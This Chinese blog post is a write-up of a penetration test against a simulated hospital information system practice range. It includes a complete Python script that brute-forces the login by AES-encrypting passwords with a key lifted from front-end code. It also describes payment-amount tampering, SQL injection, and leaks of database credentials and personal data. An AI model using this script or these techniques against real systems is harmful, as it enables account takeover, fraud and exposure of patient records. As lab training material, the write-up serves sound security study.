当前位置: 首页 > news >正文

记某一次仿真渗透测试

🌸 背景

临近晚上12点无事闲来看看b站上的技术分享,看到了一个大佬搭建的仿真实战靶场。于是第二天拿来看看。在此感谢州弟学安全提供的靶场。

🌸 渗透测试

靶标首页地址:医院信息系统 (HIS)

首页截图如上,可以看到是一个仿真的医院信息系统(HIS)。这里我们正常在渗透测试的时候,需要先进行IP、端口、目录等各种方面的信息收集。

因为这里就是一个仿真靶场,所以无需做其他的信息收集,可以看到这里首页上面存在两个功能:“登录”、“注册”

注册功能先等一下,还是看登录功能点。

🍂 弱口令

这里使用弱口令进行登录:admin/admin,可以看到响应数据包:Invalid credentials,登录了两次发现加密的密码一样:

username=admin&password=mDLaKUQVD%2BWqoG8X4RW0EA%3D%3D
username=admin&password=mDLaKUQVD%2BWqoG8X4RW0EA%3D%3D

一般来说这种加密的方式很大的概率就是base64+AES,如果能在前段的JS代码中找到AES的key、iv,那就可以自己写一个加密的脚本来进行相关爆破。

显然在app.js文件中找到AES的key和iv

这里通过AES在线加密解密,找到了正确的加密模式和相关的填充方式。接下来就是写一个脚本,直接deepseek

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import requests
from urllib.parse import quotedef aes_encrypt(plain_text, key, iv):"""AES-CBC加密函数,使用PKCS7填充"""key_bytes = key.encode('utf-8')iv_bytes = iv.encode('utf-8')cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)padded_data = pad(plain_text.encode('utf-8'), AES.block_size)ciphertext = cipher.encrypt(padded_data)return base64.b64encode(ciphertext).decode('utf-8')# 配置参数
aes_key = "zL&g!bN@2qS*vP$5"
aes_iv = "tE#cV^9mF@r5gH&k"
username = "admin"
password_file = "top6000.txt"  # 密码文件路径# 读取密码文件
try:with open(password_file, 'r', encoding='utf-8') as f:passwords = [line.strip() for line in f.readlines()]if not passwords:print("密码文件为空!")exit()except FileNotFoundError:print(f"错误: 找不到密码文件 {password_file}")exit()
except Exception as e:print(f"读取密码文件出错: {e}")exit()# 请求头配置
headers = {"Host": "111.119.241.115:9090","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36","X-Requested-With": "XMLHttpRequest","Accept": "*/*","Origin": "http://111.119.241.115:9090","Referer": "http://111.119.241.115:9090/","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","Cookie": "JSESSIONID=F0EAD302A4D415056A2022137E5B0C3D; promoModalShown=true"
}url = "http://111.119.241.115:9090/api/login"print(f"开始尝试 {len(passwords)} 个密码...")
success = Falsefor idx, password in enumerate(passwords, 1):try:# 加密密码并进行URL编码encrypted_password = aes_encrypt(password, aes_key, aes_iv)url_encoded_password = quote(encrypted_password)# 构建请求数据data = f"username={username}&password={url_encoded_password}"# 发送POST请求response = requests.post(url,headers=headers,data=data,timeout=10)print(f"尝试 #{idx}: 密码 '{password}' => 状态码: {response.status_code}")# 检查是否成功if response.status_code == 200:print("\n" + "="*50)print("登录成功!")print(f"账号: {username}")print(f"密码: {password}")print("响应内容:")print(response.text)print("="*50)success = Truebreakexcept requests.exceptions.RequestException as e:print(f"尝试 #{idx} 请求失败: {e}")except Exception as e:print(f"尝试 #{idx} 发生错误: {e}")if not success:print("\n所有密码尝试失败,未找到有效密码")

最终还是拿到了正确的密码:woaiwojia

🌟 支付漏洞

成功进入后台。接下来就是后台逐个功能点进行测试:

随便选择患者,进行挂号,发现生成了一个新的页面用来支付:

这个支付链接可以看到url,最后居然存在一个amount=10,能否直接修改掉?

发现是可以的,因此这里也就存在相应的支付漏洞。当然可以抓包看看生成支付二维码的数据包:

可以看到数据包中存在"registrationFee":10,如果这里改成0.01呢?

可以看到响应数据包中产生了这个订单和对应的金额!

🍂 未授权访问漏洞(无危害)

做了一遍目录扫描,并没有发现什么有价值的信息。看看findsomething吧。

看到了几个接口,进行测试一下:

发现了一个接口地址存在未授权访问漏洞。

🌟 SQL注入漏洞

在后台中找到了一个地址:http://111.119.241.115:9090/api/medical-records/search?keyword=&batchNumber=

发现keyword、batchNumber两个参数似乎存在SQL注入漏洞,当输入一个单引号的时候,出现statucode=500,当输入两个单引号的时候发现statuscode=200

利用SQLMAP进行注入:

需提升level等级

🍂 系统配置信息泄露

点击系统管理中的系统配置:

抓取数据包发现数据包中存在着mysql的配置信息,还有密码。

🌟 敏感信息泄露

点击系统管理->用户与权限,可以看到手机号、姓名、以及部分脱敏的身份证号。

但是在数据包中可以发现用户的个人数据,全部都是明文的数据。

同样在下面的接口也存在敏感信息泄露,点击门诊管理->门诊医生站:

抓取到数据包:

🍂 SQL注入漏洞-2

后面还发现了一个SQL注入漏洞,哦是复盘的时候,看作者wp的结果:

点击住院管理->住院医嘱处理,输入单引号的时候也会报500:

两个单引号的时候就回显正常啦:

http://www.dtcms.com/a/329927.html

相关文章:

  • 【关于Java的常用类】
  • Unity中启用DLSS 【NVIDIA】
  • Python 类元编程(导入时和运行时比较)
  • Java Web开发:Session与Cookie详细入门指南
  • 看懂 Linux 硬件信息查看与故障排查
  • 网站交互中存储信息的主要方式
  • Linux LNMP配置全流程
  • 【Unity开发】Unity核心学习(一)
  • Eclipse RCP产品动态模块设计
  • 【软件测试】电商购物项目-各个测试点整理(一)
  • VUE3中的内置 API
  • eclipse嵌入式编译速度慢
  • 【知识】UV Python 快速入门指南
  • GLM-4.5V 解读:多模态推理之王
  • 【Android】View#post执行时机浅谈
  • Chrome 插件开发实战
  • 高防IP的防护原理是什么?
  • 基于51单片机WIFI遥控防盗电子密码锁APP控制设计
  • 免费专业PDF文档扫描效果生成器
  • docker代码如何在vscod上修改
  • 三方相机问题分析六:【没用相机,诡异的手电筒不可使用】下拉状态栏,手电筒置灰,无法打开,提提示相机正在使用
  • RAG-Fusion 实战:检索召回率提升新方案
  • 数据分析小白训练营:基于python编程语言的Numpy库介绍(第三方库)(下篇)
  • 智能制造数字孪生最佳交付实践:打造数据融合×场景适配×持续迭代的数字孪生框架
  • 计算机二级 Web —— HTML 全面精讲(含真题实战)
  • 2020/12 JLPT听力原文 问题一 5番
  • Unity3d UGUI图片按钮只有非透明区域(透明阈值)可以点击功能实现(含源码)
  • OSG —— Windows11下Vs2017完美编译Osg3.6.5+osgQt(附:Osg+osgQt测试用例)
  • GLSL学习
  • IPO辅导四年半,马上消费何时“马到成功”?